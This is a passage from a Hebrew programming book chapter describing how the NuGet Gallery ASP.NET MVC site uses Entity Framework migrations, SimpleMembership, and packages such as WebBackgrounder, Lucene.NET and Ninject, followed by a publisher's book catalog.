 של Code First תוכלו למצוא את הגדרות התצורה שביצענו עבור EntitiesContextבמחלקה 
Entity Framework.השורה שלהלן מגדירה מאפיין בשם ,  לדוגמהKey בתור המפתח הראשי 

, KeyAttribute-או אם המאפיין היה מסומן כ, Idאילו שם המאפיין היה . Userשל הטיפוס 
 . השורה הזו הייתה מיותרת

modelBuilder.Entity<User>().HasKey(u => u.Key); 

 מכיוון שהיא שייכת לספרייה WorkItemמקרה אחד שחורג מהמוסכמה הזו הוא המחלקה 
 . אחרת

שות מיישמת ממשק כל י. Entities נמצאות בתיקייה Code Firstישות של כל מחלקות הי
IEntity ,אשר כולל מאפיין יחיד ,Key . 

. DbContext לא מתבצעת גישה ישירה לבסיס הנתונים ממחלקת הבת NuGet Galleryבאתר 
 .<IEntityRepository<Tכל הגישה לנתונים מתבצעת דרך ממשק ,  זהבמקום

public interface IEntityRepository<T> where T : class, IEntity, new() 

{ 

 void CommitChanges(); 

 void DeleteOnCommit(T entity); 

 T Get(int key); 

 IQueryable<T> GetAll(); 

 int InsertOnCommit(T entity); 

} 

. ההפשטה הזו מקלה באופן משמעותי על כתיבת בדיקות יחידה לשירותים שאנחנו מספקים
, <IEntityRepository<User הוא UserServiceמהפרמטרים של בנאי המחלקה אחד , לדוגמה

והדבר מאפשר לנו להעביר לפונקציית הבנאי מימוש מדומה של הממשק הזה במסגרת 
 . בדיקות היחידה שלנו
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הדבר מבוצע בתהליך של .  ממשי<EntityRepository<Userביישום החי אנחנו מעבירים כמובן 
כל הגדרות . יות שמוצגת בהמשך הפרקתשתית הזרקת תלו, Ninjectהזרקת תלויות באמצעות 

 . ContainerBindingsכלולים במחלקה  Ninjectקישורי של 

 EFשינויים מבוססי קוד 
. שיתוף של שינוים בסכמת בסיס הנתונים הינו אתגר משמעותי במהלך העבודה על היישום

וצאה כת(מפתחים היו כותבים תסריטי שינוי של מבנה או של תוכן בסיס הנתונים , בעבר
במעבר לסביבת העבודה החדשה מישהו היה צריך להריץ . SQLבאמצעות משפטי ) מפיתוח

ביצוע התהליך . את התסריטים האלה כדי לעדכן את בסיס הנתונים עם השינויים הנדרשים
הזה חִייבֵ מעקב מפורט אחר התסריטים שיש להריץ כנגד בסיס הנתונים הממשי בעת פריסת 

 . גרסה חדשה של היישום

קוד -הינם אמצעי מובנה ומבוסס )EF )EF Code-Based Migrations מבוססי קוד שינויים
 .  ומתקדמות יותרEntity Framework 4.3אשר כלול בגרסה , להחלת שינויים על בסיס הנתונים

נציג להלן כמה מהדרכים , )הגירות (Migrationsלמרות שלא נעסוק בפרטים של מערכת 
 כדי לראות את רשימת השינויים של Migrationsו את התיקייה פתח. להשתמש בשינויים

NuGet Gallery , שמות הקבצים כוללים חותמת זמן כדי להבטיח את . 16-8כמוצג בתרשים
 . הרצתם בסדר הנכון

 

 16-8תרשים 

קובץ זה שימש ליצירת מערך .  מהווה את נקודת המוצאInitial.cs_201110060711357הקובץ 
כל שאר הקבצים שימשו להחלת שינוי סכמה במהלך הפיתוח של האתר . וניהטבלאות הראש

, לדוגמה.  ליצירת שינוייםNuGet Package Managerבמסוף באפשרותכם להשתמש . ועדכונו
, כדי ליצור שינוי מתאים בבסיס הנתונים. User למחלקה Ageנניח שהוספנו מאפיין בשם 

 :זין את הפקודה הבאה ונNuGet Package Managerנפתח את מסוף 
Add-Migration AddAgeToUser 
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 הוא השם של AddAgeToUserואילו ,  משמשת להוספת שינוי חדש Add-Migrationהפקודה 
כתוצאה . מומלץ לבחור שם תיאורי שיזכיר לכם מהי הפעולה של השינוי. קובץ השינוי

אשר מכיל את , AddAgeToUser.cs_201204292258426ייווצר קובץ בשם מהפעלת הפקודה 
 . 16-3 קודהקוד שמוצג ב

 AddAgeToUser.cs_201204292258426קובץ מעבר : 16-3 קוד

namespace NuGetGallery.Migrations 

{ 

 using System.Data.Entity.Migrations; 

 public partial class AddAgeToUser : DbMigration 

 { 

  public override void Up() 

  { 

   AddColumn("Users", "Age", c => c.Int(nullable: false)); 

  } 

  public override void Down() 

  { 

   DropColumn("Users", "Age"); 

  } 

 } 

} 

החבילה זיהתה את השינויים ביישויות שלנו ויצרה עבורנו שינויים מתאימים באופן ! מושלם
אבל בדרך כלל אין צורך לעקוב , מעברתוכלו לערוך את קובץ ה, אם תרצו, כעת. אוטומטי

כמובן שיש שינויים שלא ניתן לטפל בהם באופן זה בצורה . אחר כל פרט קטן במהלך הפיתוח
,  שאנחנו מחליטים לפצל לשני מאפייניםNameאם יש לנו מאפיין בשם , למשל. אוטומטית
FirstNameו - LastName ,אולם כל , שינוי הזהעלינו לכתוב קוד שינוי בעצמנו כדי לבטא את ה

 . עוד מדובר בשינויים פשוטים החבילה עושה עבודה מצוינת

כדי להריץ את כל . סביר להניח שגם חברי צוות אחרים יוסיפו שינויי קוד, במהלך פיתוח הקוד
-Updateתשתמשו בדרך כלל בפקודה , השינויים שטרם יושמו בבסיס הנתונים המקומי שלכם

Database .עליכם להריץ את הקבצים הרלוונטיים על , אתם פורסים את היישוםכאשר , כמו כן
 .האתר הממשי

כדי .  מריץ שינויים באופן אוטומטי בכל פעם שהאתר מורץNuGet Galleryבסיס הקוד של 
. AppActivator.csבקובץ נעיין גם הפעם  ,לבחון את הגדרות התצורה הדרושות לשם כך

 :את שתי השורות הבאות מכילה DbMigratorPostStartהשיטה 

var dbMigrator = new DbMigrator(new MigrationsConfiguration()); 

dbMigrator.Update(); 

, DbMigrationsConfiguration יורשת ממחלקת הבסיס MigrationsConfigurationהמחלקה 
את עליכם לדרוס . Code First Migrationsומכילה את הגדרות התצורה המתאימות עבור 
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ודאו שהשיטה .  כדי ליצור נתונים התחלתיים שיופעלו לאחר הרצת השינוייםSeedהשיטה 
מבוצעת , למשל, NuGet Galleryבאתר . בודקת שקיימים נתונים לפני שהיא מנסה ליצור אותם

אנחנו , בפונקציית הבנאי. אם אינו קיים כבר, "Admins"דריסה של השיטה והוספה של תפקיד 
 :שרות השינויים האוטומטייםמנטרלים את אפ

public MigrationsConfiguration() 

{ 

 AutomaticMigrationsEnabled = false; 

} 

כאשר . רוב חברי הצוות מעדיפים להכריז על שינויים באופן מפורש: לפנינו העדפה אישית
, טיליצור עדכונים באופן אוטומ יכולה Code First Migrationsמערכת , אפשרות זו מופעלת

כאשר הוספנו מקודם , לדוגמה. כדי להבטיח תאימות של בסיס הנתונים למצב הקוד העדכני
אם  Add-Migrationלהשתמש בפקודה לא היינו צריכים , User למחלקה Ageמאפיין בשם 

 את פקודות יכולים להריץהיינו .  הייתה מופעלתAutomaticMigrationsEnabledהאפשרות 
Update-Database  שלPowerShell ,ואז האפשרות Code First הייתה יוצרת עבורנו את השינוי 
 Code, להבטיח שכל השינויים יבוצעו באופן אוטומטיאפשר -מכיוון שאי. באופן אוטומטי

Firstלא כולם ירגישו בנוח עם רמה כזו .  תומכת בשילוב של עדכונים מפורשים ואוטומטיים
 . לנסות בעצמכםאבל אתם בהחלט מוזמנים , של אוטומציה

 חָברֵוּת
, 2007 בשנת ASP.NET 2.0הוכרזה לראשונה כחלק מתשתית ) membership(כאשר החָברֵוּת 
 המקורית סיפקה אמצעי שימושי ביותר לניהול  ASP.NET Membershipמערכת החברות

ובסטנדרטים של היום המערכת , אולם הזמן שחלף מאז נתן את אותותיו, משתמשים ותפקידים
. בת למיושנת מכיוון שאינה תומכת בדפוסי פעולה מקובלים באתרי אינטרנט מודרנייםנחש

רוב האתרים שולחים למשתמשים ששוכחים את הסיסמה שלהם הודעת דואר , לדוגמה
הכתובת כוללת אסימון אימות ייחודי עם תוקף מוגבל . URLאלקטרוני עם קישור לכתובת 

די לעבור לדף שמאפשר לו לשנות את הסיסמה המשתמש יכול ללחוץ על הקישור כ. בזמן
 . מדובר בתהליך מורכב שקשה ליישם אותו באמצעות מערכת החברות הסטנדרטית. שלו

 הוא הקושי לשלב אותה עם מערכות אימות אחרות Membershipחיסרון נוסף של המערכת 
תחה  החדשה שפוSimpleMembershipמערכת , למרבה המזל. ועם נתוני המשתמשים שלכם

 .  מספקת מענה לחלק גדול מהסוגיות הללוASP.NETעל ידי צוות 

 ASP.NETצוות ו, ASP.NET Web Pagesנכתבה במקור עבור  SimpleMembershipמערכת 
מערכת זו דומה יותר לספרייה מאשר . ASP.NET MVC 4החליט לשלב אותה בתשתית 

, לכם בכל דרך שתרצוש) Users(אתם יכולים להגדיר את טבלת המשתמשים . לתשתית
כל שעליכם לעשות הוא להגדיר את .  תטפל עבורכם בהרשאותSimpleMembershipומערכת 

אופן ההתאמה בין המשתמש בבסיס הנתונים לבין קבוצה של הרשאות על ידי העברת שם 
 .אלקטרוני-דואר/משתמש-הטבלה ועמודת שם
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 של שיטות שמשמשות לאחסון  הוא לספק ספרייהSimpleMembershipהרעיון שהונח בבסיס 
המשמעות מבחינת מפתחי . 'אינטגרציה עם ספקי אימות אחרים וכד, מאובטח של סיסמאות

הוספת תהליכי . שתהליכים כגון שחזור סיסמה אינם מיושמים באופן אוטומטי, התוכנה היא
בניגוד לספק היתרון הוא ש. חברות שונים ליישום שלכם מחייבת קצת יותר מאמץ מצדכם

ASP.NET Membershipאינכם מוגבלים לתהליכים שנוצרו על ידי יוצרי הספרייה,  הסטנדרטי .
 כוללת אוסף פונקציות שימושיות שבאמצעותן תוכלו ליישם כל SimpleMembershipהספרייה 

 . תהליך חברות שאתם יכולים לעלות על דעתכם

מהווה  ASP.NET Web Pages נכתבה במקור עבור SimpleMembership הספרייההעובדה ש
דפים פשוטה שמיועדת - היא תשתית מבוססתASP.NET Web Pages. משמעותיחיסרון 

לאתרים פשוטים ולמפתחים בעלי העדפה לסגנון , טיפוס-ליצירה מהירה של אב, לחובבנים
 כוללת שיטות סטטיות WebSecurityמשמעות הדבר היא שהמחלקה . לינארי בפיתוח אתרים

יחידה שקוראות לשיטות של ת מאוד על כתיבת בדיקות אשר מקשו, בלבד
SimpleMembership .  

ממשק עבור -מספר מפתחים בעלי תושיה החליטו לכתוב מעטפות מבוססת, למרבה המזל
SimpleMembershipמעטפת אחת שכזו היא .  שמספקות מענה לכל צרכי בדיקות היחידה שלכם

 של MVC 4טרם שוחררה גרסת ,  כתיבת הספרנכון לזמן. SimpleMembership.Mvc3החבילה 
 .  מהווה תחליף מצויןMVC 3גרסת , עד אז. אבל אנחנו מאמינים שהיא תצא בקרוב, החבילה

Install-Package SimpleMembership.Mvc3 

באתר ישנו בסיס נתונים של . NuGet Galleryאך לא יישמנו אותה באתר , זוהי גישה טובה
סיסמאות המגובבות יושן ומסתמך על פורמט אחסון שונה עבור הממיושן שהינו משתמשים 

)hashed passwords( .ובמקביל , נדרשנו להבטיח תאימות עם הסיסמאות המאוחסנות הקיימות
 . להעביר משתמשים חדשים לגישה סטנדרטית יותר לאחסון של סיסמאות מגובבות -

  והממשק IUserServiceכמו הממשק , לשם כך כתבנו ממשקים בעצמנו
IFormsAuthenticationService .תוכלו לראות שהשיטות והמימושים דומים , אם תתבוננו בקוד

 . SimpleMembershipמאוד לאלה של 

 לקבלתממשק המשתמש עבור קוד תהליך זהו מימוש של . UsersControllerהתבוננו גם בבקר 
שכלולות עם  ASP.NET Web Pagesהמחדל של הוא מבוסס על תבניות פרויקט ברירת . תחברוּ

WebMatrix ,בדיקה-אך קוד זה כתוב בצורה נקייה וברת . 

 NuGetכדאי לכם לאמץ את הגישה המיושמת ביישום , אם עליכם ליצור יישום אינטרנט מאפס

Gallery ,המחלקה  של לקרוא לשיטותעליכם, של הממשקים שלנומימושים אך ב 
WebSecurity.  
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 ת נוספות שימושיוNuGetחבילות 
 NuGet Galleryהדברים שלמדנו והכלים ששימשו אותנו במהלך בניית , כפי שכבר ציינו

, במהלך פרק עסקנו באלמנטים שקיימים כמעט בכל יישום אינטרנט. יכולים למלא ספר שלם
 . תיעוד שגיאות ועוד, הצגת נתוני פעילות, כמו למשל ממשק ניהול מערכת

. NuGet Galleryל מספר חבילות נוספות שמותקנות ביישום בסעיף זה נציג סקירה מהירה ש
אך עשויות להיות שימושיות ביותר במקרים , חבילות אלו אינן בהכרח נחוצות בכל היישומים

 . בתחילת כל סעיף מופיעה הפקודה שמשמשת להתקנת החבילה. שכן

T4MVC 
Install-Package T4MVC 

אשר נכתבת על ידי , )http://nuget.org/packages/T4MVCבכתובת  (T4MVC ת התוכנהחביל
בעלי טיפוסיות חזקה ) helpers( אשר מפיקה סייעים T4מוסיפה ליישום תבנית , דיויד אבו

 :במקום לכתוב, כדי להוסיף קישור לפעולה, לדוגמה. ASP.NET MVCעבור 

@Html.ActionLink("Delete Book", "Delete", "Books", new { id = Model.Id}, null) 

 :תוכלו לכתוב
@Html.ActionLink("Delete Book", MVC.Books.Delete(Model.Id)) 

מדובר בכלי שימושי למדי לאלה מבין המפתחים שאוהבים להשתמש באפשרויות 
IntelliSense ,מכיוון שהתבנית מספקת רשימה של הבקרים הזמינים והפעולות הזמינות . 

WebBackgrounder 
Install-Package WebBackgrounder 

) http://nuget.org/packages/WebBackgrounderבכתובת  (WebBackgrounder  התוכנהחבילת
 ושרת ASP.NETתשתית . ASP.NETבטוחה של מטלות רקע חוזרות ביישומי משמשת להרצה 

IIS על ידי הפסקת פעילות (את היישום שלכם ) רכלומר לעצו( יכולים להפילAppDomain.( 
התוכנה .  להתריע כאשר זה קורהמספר מנגנונים שמשמשים מספקת ASP.NETתשתית 

WebBackgrounderעבור , בבטחה,  משתמש בעובדה זו כדי לנסות ולהריץ טיימר ברקע
 . מטלות רצות שצריכות להתבצע שוב ושוב

  NuGetאך משתמשים בה באתר , צאת עדיין בשלבי הפיתוח נמWebBackgrounderהחבילה 
Gallery לצורך עדכון שוטף של נתוני ההורדה הסטטיסטיים ושל אינדקס Lucene.NET .כצפוי ,

 : באמצעות שתי השיטות הבאותAppActivatorהתצורה שלה מתבצעת תחת 

private static void BackgroundJobsPostStart() 

{ 

 var jobs = new IJob[] { 

  new UpdateStatisticsJob(TimeSpan.FromSeconds(10), 

   () => new EntitiesContext(), timeout: TimeSpan.FromMinutes(5)), 

  new WorkItemCleanupJob(TimeSpan.FromDays(1), 
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   () => new EntitiesContext(), timeout: TimeSpan.FromDays(4)), 

  new LuceneIndexingJob(TimeSpan.FromMinutes(10), 

   timeout: TimeSpan.FromMinutes(2)), 

 }; 

 var jobCoordinator = new WebFarmJobCoordinator(new EntityWorkItemRepository 

 ( 

  () => new EntitiesContext())); 

  _jobManager = new JobManager(jobs, jobCoordinator); 

  _jobManager.Fail(e => ErrorLog.GetDefault(null).Log(new Error(e))); 

  _jobManager.Start(); 

} 

 

private static void BackgroundJobsStop() 

{ 

 _jobManager.Dispose(); 

} 

משמשת ליצירת מערך של מטלות שונות , BackgroundJobsPostStart, השיטה הראשונה
, לדוגמה. רך שמייצג את פרק הזמן בין הרצה להרצהכל מטלה כוללת ע. שברצונכם להריץ

 .  שניות את ספירת ההורדות10 אנחנו מעדכנים בכל NuGet Galleryבאתר 

תוכלו , אם היישום שלכם רץ על שרת יחיד. החלק הבא משמש להגדרת מתאם מטלות
 Windows רץ על NuGet Galleryמכיוון שאתר . SingleServerJobCoordinator -להשתמש ב

Azure , הוא מהווה למעשה חוות שרתים)Web Farm( ,ולפיכך עלינו להשתמש ב-
WebFarmJobCoordinatorהדבר .  כדי למנוע הרצה של אותה מטלה על מספר שרתים במקביל

 לחלק את המטלה למספר מחשבים באופן WebBackgrounderמאפשר לחבילת התוכנה 
 . מרכזי במיקום כלשהו" אחסון"מתחזק המְתָאֵם , כדי לסנכרן את המטלה. אוטומטי

והתקנו את , מכיוון שיש לנו בסיס נתונים אחד לכל חווה, בחרנו להשתמש בבסיס הנתונים
 . לבצע את החיווט הנדרש כדי WebBackgrounder.EntityFrameworkהחבילה 

Lucene.NET 
Install-Package Lucene.NET 

 היא גרסת קוד פתוח )http://nuget.org/packages/Lucene.Netבכתובת  (Lucene.NETהתוכנה 
זהו מנוע חיפוש . NET. שמיועדת לפלטפורמת Apache Luceneספריית החיפוש של 

 לצורך חיפוש NuGet Galleryומיושם באתר , NET.טקסטואלי אשר מוכר לשימוש עבור 
 . חבילות

יים להיות קצת  והגדרות התצורה עשוAPI-ה,  מיובאתJavaמכיוון שמדובר בספריית 
אולם לאחר השלמת התצורה , NET.מבלבלים לאנשים שרגילים לממשקי תכנות היישומים של 

 . תוכלו ליהנות ממערך כלים יעיל ומהיר, הראשונית
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 עטפנו את NuGet Galleryבאתר . ספר זה אינו עוסק בהרחבה של הגדרות התצורה הנדרשות
אשר מספקת דוגמה , LuceneIndexingService במחלקה Lucene.NETהפונקציונליות של 

שבו עבודת , LuceneIndexingJobכדאי לעיין בקוד של . Luceneלצורת עבודה אפשרית עם 
WebBackgrounder דקות10 מתוזמנת להרצה מדי  . 

AnglicanGeek.MarkdownMailer 
Install-Package AnglicanGeek.MarkdownMailer 

שנמצאת בכתובת  (AnglicanGeek.MarkdownMailer חבילת התוכנה
http://nuget.org/packages/AnglicanGeek.MarkdownMailer( מכילה ספרייה פשוטה לשליחת 

ספרייה זו מאפשרת להגדיר את גוף ההודעה פעם אחת באמצעות תחביר . דואר אלקטרוני
Markdown ,ם ע, ולאחר מכן היא מפיקה הודעת דואר אלקטרוני שמורכבת ממספר חלקים

 .  וטקסטHTMLתצוגות 

 לשליחת כל התראות הדואר האלקטרוני NuGet Galleryאנחנו משתמשים בספרייה הזו באתר 
. כמו למשל הודעות אישור של משתמשים חדשים או הודעות של שחזור סיסמה, שלנו

 .  של הגלריה מספקת דוגמה לאופן השימוש בספרייה הזו MessageServiceהמחלקה 

Ninject 
Install-Package Ninject 

שמתוכן , NET.שמיועדות עבור ) DI - dependency injection(יש תשתיות הזרקת תלויות רבות 
בכתובת  (Ninjectבחר להשתמש בתשתית  NuGet Galleryצוות 

http://nuget.org/packages/NuGet (בתור מיכל הזרקת התלויות של האתר בגלל ה-API הנקי 
 . שלה ומהירות פעולתה

Ninjectהחבילה .  היא ספריית הליבהNinject.Mvc3  דואגת לביצוע התצורה שנדרשת להתאמת
Ninject לפרויקט ASP.NET MVC , ומאפשרת להתחיל לעבוד עםNinjectבקלות ובמהירות  . 

הנה . ContainerBindings נמצאים במחלקה NuGet Gallery באתר Ninjectכל קישורי , כאמור
 :  מתוך המחלקה הזו)bindings(ים לשני קישורדוגמה 

Bind<ISearchService>().To<LuceneSearchService>().InRequestScope(); 

 

Bind<IFormsAuthenticationService>() 

 .To<FormsAuthenticationService>() 

 .InSingletonScope(); 

יקט של ממשק  כמופע של אוביLuceneSearchServiceהשורה הראשונה משמשת לרישום של 
ISearchService . הדבר מאפשר לשמור על קישור רפוי)loose coupling (בין המחלקות שלנו . 

והדבר מקל מאוד על העברת , ISearchServiceהמחלקות מתייחסות לממשק , בכל חלקי הקוד
 מזריקה מימושים Ninjectתשתית , בזמן הריצה. אובייקטים מדומים בעת ביצוע בדיקות יחידה
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דבר .  מבטיח יצירה של מופע חדש לכל בקשהInRequestScopהשימוש בפונקציה . משייםמ
 . זה חשוב במקרים שבהם הגדרת הטיפוס דורשת העברת נתוני בקשה לבנאי

 כדי לוודא InSingletonScope -אך הפעם אנחנו משתמשים ב, הקישור השני עושה אותו דבר
אם השירות .  לכל היישוםFormsAuthenticationServiceשלא תהיה יותר ממופע אחד של 

, או מחייב העברה של מצב בקשה לבנאי שלו, המקושר משמר אובייקט מצב בקשה כלשהו
  .InSingletonScopeפונקציה  ולא בInRequestScope פונקציה הקפידו להשתמש ב

 סיכום
א משימה המאמץ למצוא שני מפתחים שמסכימים על הדרך הנכונה לבנות יישום אמיתי הי

, NuGet Galleryהאמירה הזו בהחלט באה לידי ביטוי במהלך הבנייה של . מאתגרת ביותר
 . ולמפתחים שעבדו על האתר היו דעות שונות ומגוונות

אך ,  מספק דוגמה אחת מיני רבות לבנייה של יישום אינטרנט בעולם אמיתיNuGet Galleryאתר 
מטרת פרק זה אינה להציג בפניכם . מים שכאלהאין מגבלה לדרכים ולאפשרויות לבניית יישו

 . ASP.NET MVCואיננו טוענים שזו הדרך המושלמת לבנות יישום , דגם אופטימלי של יישום

. על כל המשתמע מכך, NuGetמטרתו היחידה של היישום היא לספק גלריה לאירוח חבילות 
 . על אף כמה סוגיות פתוחות, היישום עומד במשימה -בינתיים 

מה . קיים היבט מסוים בבנייה של הגלריה שלדעתי תקף לפיתוח בצורה אוניברסלית,  זאתעם
 לבנות גלריה איכותית בזמן קצר הוא השימוש במגוון של חבילות NuGetשאִפשְֵר לצוות 

שימוש בחבילות קיימות יאפשר לכם . תוכנה יעילות וכתובות היטב שפותחו על ידי הקהילה
ולכן כדאי לכם מאוד לעיין בחבילות הזמינות , ותר בזמן קצר יותרלבנות תוכנה איכותית י

נוספות לאלו , אנחנו משוכנעים שתמצאו חבילות שימושיות רבות. NuGet Galleryבאתר 
 . שמוצגות בפרק זה

פרויקט . אתם מוזמנים לעזור לנו,  אמיתייםASP.NET MVCאם תרצו להתנסות בפיתוח יישומי 
NuGet Galleryבתור . הצעות תוכנהתורמים לוהצוות ישמח לקבל , ויקט קוד פתוח הינו פר

 . שטרם נפתרויכולים לעיין ברשימת הסוגיות אתם , התחלה

אט 'לשוחח איתנו בצתוכלו או , https://github.com/nuget/nugetgallery/issues פנו לכתובת
JabbRבכתובת   http://jabbr.net/#/rooms/nuget. 
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SAS )Statistical Analysis System  (–  169 256  ספר לימוד 

 149 648   עקרונות ועיצוב      – SQLבסיסי נתונים ושפת 
 UML   818 229 -ניתוח מערכות מידע כולל מתודולוגיית ה

 UML  346 329המדריך העברי השלם  
    ספרים דיגיטליים 

    היכנס לאתר לקטגוריה "ספרים דיגיטליים" PDFלרכישת ספרים לצפייה בפורמט  

    קבצי תרגול לספרים
    תר בקטגוריה "קבצי תרגול לספרים"קבצי תרגול לספרים שונים תמצא בא

 . הספרים נמכרים בהנחה בהוצאה מחיר מומלץ לצרכן כולל מע"מ. 2021קטלוג  * 

 

 ובמחירי המבצע בהוצאה היכנס לאתר להתעדכן בספרים החדשים 

 www.hod-ami.co.il תוכן עניינים ופרקים לדוגמה 

09-9564716 
 


